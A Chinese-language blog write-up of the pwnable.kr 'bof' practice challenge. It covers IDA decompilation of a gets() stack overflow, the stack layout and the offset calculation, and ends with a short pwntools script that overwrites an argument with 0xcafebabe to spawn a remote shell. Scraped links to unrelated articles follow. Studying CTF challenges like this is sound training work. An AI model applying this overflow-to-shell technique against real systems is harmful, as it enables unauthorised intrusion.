Running at : nc pwnable.kr 9000

IDA查看

 1 unsigned int __cdecl func(int a1)
2 {
3 char s; // [esp+1Ch] [ebp-2Ch]
4 unsigned int v3; // [esp+3Ch] [ebp-Ch]
5
6 v3 = __readgsdword(0x14u);
7 puts("overflow me : ");
8 gets(&s);//未对输入长度进行限制,存在栈溢出
9 if ( a1 == 0xCAFEBABE )
10 system("/bin/sh");
11 else
12 puts("Nah..");
13 return __readgsdword(0x14u) ^ v3;
14 }

查看栈,

 1 -0000002C s               db ?
2 -0000002B db ? ; undefined
3 -0000002A db ? ; undefined
4 -00000029 db ? ; undefined
5 -00000028 db ? ; undefined
6 -00000027 db ? ; undefined
7 -00000026 db ? ; undefined
8 -00000025 db ? ; undefined
9 -00000024 db ? ; undefined
10 -00000023 db ? ; undefined
11 -00000022 db ? ; undefined
12 -00000021 db ? ; undefined
13 -00000020 db ? ; undefined
14 -0000001F db ? ; undefined
15 -0000001E db ? ; undefined
16 -0000001D db ? ; undefined
17 -0000001C db ? ; undefined
18 -0000001B db ? ; undefined
19 -0000001A db ? ; undefined
20 -00000019 db ? ; undefined
21 -00000018 db ? ; undefined
22 -00000017 db ? ; undefined
23 -00000016 db ? ; undefined
24 -00000015 db ? ; undefined
25 -00000014 db ? ; undefined
26 -00000013 db ? ; undefined
27 -00000012 db ? ; undefined
28 -00000011 db ? ; undefined
29 -00000010 db ? ; undefined
30 -0000000F db ? ; undefined
31 -0000000E db ? ; undefined
32 -0000000D db ? ; undefined
33 -0000000C var_C dd ?
34 -00000008 db ? ; undefined
35 -00000007 db ? ; undefined
36 -00000006 db ? ; undefined
37 -00000005 db ? ; undefined
38 -00000004 db ? ; undefined
39 -00000003 db ? ; undefined
40 -00000002 db ? ; undefined
41 -00000001 db ? ; undefined
42 +00000000 s db 4 dup(?)
43 +00000004 r db 4 dup(?)
44 +00000008 arg_0 dd ?
45 +0000000C
46 +0000000C ; end of stack variables

0x2c+8 =0x34=52,来到arg_0的存储空间

exp:

 1 from pwn import *
2
3 r = remote('pwnable.kr','9000')
4
5 buf = 52 * 'A'
6 buf += p32(0xcafebabe)
7
8 r.sendline(buf)
9
10 r.interactive()

pwnable.kr第三题bof的更多相关文章

  1. 【pwnable.kr】fb

    这是pwnable.kr的签到题,记录pwn入门到放弃的第一篇. ssh fd@pwnable.kr -p2222 (pw:guest) 题目很简单,登录上了ssh后,发现了3个文件:fd,fd.c, ...

  2. 【pwnable.kr】blackjack

    又一道pwnable nc pwnable.kr 9009 读题找到源代码在:http://cboard.cprogramming.com/c-programming/114023-simple-bl ...

  3. pwnable.kr之brainf*ck

    pwnable.kr之brainf*ck 今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获. 不多说了,今天看的是第二关的第一道题:brai ...

  4. 【pwnable.kr】bof

    pwnable从入门到放弃,第三题. Download : http://pwnable.kr/bin/bofDownload : http://pwnable.kr/bin/bof.c Runnin ...

  5. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  6. pwnable.kr之bof

    打开题目: 先下载题目给我们的两个文件,查看文件信息: 发现没有执行的权限,所以先增加文件bof的执行权限,执行: 没发现啥,然后查看代码, #include <stdio.h> #inc ...

  7. pwnable.kr 第一题fd

    使用ssh fd@pwnable.kr -p2222连接输入密码guest 1 fd@prowl:~$ ls -al 2 total 40 3 drwxr-x--- 5 root fd 4096 Oc ...

  8. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  9. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

随机推荐

  1. Linux的进程权限控制

    Linux系统的安全性得益于其进程权限和文件权限的控制机制.今天抽空梳理下Linux下的进程权限控制相关的文件权限涉及一点.首先明确四个名词:真实用户ID(real ID).有效用户ID(effect ...

  2. JavaScript 实现 (ECMAScript 6)

    JavaScript 的核心 ECMAScript 描述了该语言的语法和基本对象: DOM 描述了处理网页内容的方法和接口: BOM 描述了与浏览器进行交互的方法和接口. ECMAScript.DOM ...

  3. CSS :nth-of-type() bug

    CSS :nth-of-type() bug .tools-hover-box-list-item { pointer-events: auto; box-sizing: border-box; di ...

  4. web 前端工具: Gulp 使用教程

    1 1 1 Gulp 使用教程: 1 1 1 1 1 1 1 1 ERROR: ./app.js 当前目录路径: ./ 当前目录路径: ./ 1 1 1 1 1 参考资源: http://webpac ...

  5. Matthew Effect

    Matthew Effect 马太效应 / 马修效应 马太效应(Matthew Effect),是指好的愈好,坏的愈坏,多的愈多,少的愈少的一种现象, 即两极分化现象. 来自于圣经<新约•马太福 ...

  6. how to copy to clipboard using windows cmd

    how to copy to clipboard using windows cmd Windows clipboard command line https://www.labnol.org/sof ...

  7. HTML marquee

    HTML marquee 跑马灯 https://developer.mozilla.org/en-US/docs/Web/HTML/Element/marquee https://developer ...

  8. Flutter: 获取本地json数据

    FutureBuilder( future: DefaultAssetBundle.of(context).loadString('data/data.json'), builder: (contex ...

  9. 解决windwos系统80端口被暂用无法发布(NGINX、TOMCAT、IIS)

    原因: 一个操作系统有0-65535个端口,但是一个端口只能被一个应用程序使用.所以80端口只有一个,当开发发布时想用应用NGINX,TOMCAT,IIS发布时,如果有程序占用了,就无法使用了. 解决 ...

  10. JUC学习

    JUC是java.util.concurrent包 并发编程的工具包 并发.并行 并发:多线程操作一个资源 并行:多人一起走 并发编程的本质:充分利用cpu的资源 线程的几个状态 新建 运行 堵塞 等 ...